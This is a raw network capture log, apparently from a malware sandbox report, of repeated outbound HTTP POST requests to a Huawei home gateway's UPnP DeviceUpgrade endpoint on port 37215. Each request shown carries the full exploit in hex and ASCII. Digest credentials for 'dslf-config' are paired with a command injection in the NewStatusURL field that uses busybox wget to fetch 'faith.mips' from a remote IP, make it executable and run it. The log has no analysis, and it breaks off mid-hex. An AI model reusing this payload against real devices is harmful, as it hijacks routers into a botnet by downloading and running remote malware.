Dec 30, 2023 07:15:27.676445007 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:31.227905035 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:38.138906956 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:51.704993963 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:20.373080969 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	33320	156.253.47.161	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:24.541759968 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:26.108556032 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:27.932384968 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:31.739839077 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:39.162919998 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 